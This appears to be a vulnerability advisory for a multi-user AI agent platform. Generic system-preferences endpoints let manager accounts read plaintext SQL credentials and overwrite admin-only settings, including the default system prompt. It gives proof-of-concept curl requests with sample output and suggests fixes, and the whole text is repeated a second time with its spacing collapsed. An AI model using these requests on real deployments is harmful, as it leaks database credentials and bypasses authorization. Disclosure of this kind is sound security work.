Summary
The two generic system-preferences endpoints allow manager role access, while every other surface that touches the same settings is restricted to admin only. Because of this inconsistency, a manager can call the generic endpoints directly to read plaintext SQL database credentials and overwrite admin-only global settings such as the default system prompt and the Community Hub API key.
Details
The authorization gap:
| Surface |
Allowed roles |
Frontend /settings/agents |
admin only (AdminRoute) |
POST /system/default-system-prompt |
admin only |
GET/POST /community-hub/settings |
admin only |
GET /admin/system-preferences-for |
admin + manager |
POST /admin/system-preferences |
admin + manager |
Read path — agent_sql_connections is in publicFields. The getter returns parsed connection details including username, password, host, port, database in plaintext.
Write path — updateSettings() checks supportedFields but does not enforce protectedFields. Both default_system_prompt and hub_api_key are in supportedFields, so a manager can overwrite them.
PoC
Preconditions:
- Multi-user mode enabled
- Attacker has a
manager account
1: Read SQL connector credentials
curl -i -sS \
-H "Authorization: Bearer <manager-jwt>" \
"<base-url>/api/admin/system-preferences-for?labels=agent_sql_connections"
Expected result (if SQL connectors are configured):
{
"settings": {
"agent_sql_connections": [{
"username": "db_admin",
"password": "s3cretP@ssw0rd",
"host": "internal-db.example.com",
"port": "5432",
"database": "production"
}]
}
}
2: Modify an admin-only setting
curl -i -sS \
-X POST "<base-url>/api/admin/system-preferences" \
-H "Authorization: Bearer <manager-jwt>" \
-H "Content-Type: application/json" \
--data '{"default_system_prompt":"CANARY_MANAGER_BYPASS"}'
Expected result:
{"success":true,"error":null}
A subsequent read of default_system_prompt reflects the canary value, confirming the setting was changed even though the dedicated write route for that setting is admin-only.
Impact
A manager can read plaintext SQL database credentials and modify global admin-only settings (default system prompt, Community Hub API key) that affect the entire instance.
Suggestion
- Restrict both
/admin/system-preferences-for and /admin/system-preferences to ROLES.admin only, matching the dedicated write routes and frontend gating.
- Have
updateSettings() reject keys present in protectedFields, not just accept keys in supportedFields, as defense-in-depth.
- Remove
agent_sql_connections from publicFields and serve it through a dedicated admin-only endpoint.
Summary
The two generic system-preferences endpoints allow
managerrole access, while every other surface that touches the same settings is restricted toadminonly. Because of this inconsistency, a manager can call the generic endpoints directly to read plaintext SQL database credentials and overwrite admin-only global settings such as the default system prompt and the Community Hub API key.Details
The authorization gap:
/settings/agentsAdminRoute)POST /system/default-system-promptGET/POST /community-hub/settingsGET /admin/system-preferences-forPOST /admin/system-preferencesRead path —
agent_sql_connectionsis inpublicFields. The getter returns parsed connection details includingusername,password,host,port,databasein plaintext.Write path —
updateSettings()checkssupportedFieldsbut does not enforceprotectedFields. Bothdefault_system_promptandhub_api_keyare insupportedFields, so a manager can overwrite them.PoC
Preconditions:
manageraccount1: Read SQL connector credentials
Expected result (if SQL connectors are configured):
{ "settings": { "agent_sql_connections": [{ "username": "db_admin", "password": "s3cretP@ssw0rd", "host": "internal-db.example.com", "port": "5432", "database": "production" }] } }2: Modify an admin-only setting
Expected result:
{"success":true,"error":null}A subsequent read of
default_system_promptreflects the canary value, confirming the setting was changed even though the dedicated write route for that setting is admin-only.Impact
A manager can read plaintext SQL database credentials and modify global admin-only settings (default system prompt, Community Hub API key) that affect the entire instance.
Suggestion
/admin/system-preferences-forand/admin/system-preferencestoROLES.adminonly, matching the dedicated write routes and frontend gating.updateSettings()reject keys present inprotectedFields, not just accept keys insupportedFields, as defense-in-depth.agent_sql_connectionsfrompublicFieldsand serve it through a dedicated admin-only endpoint.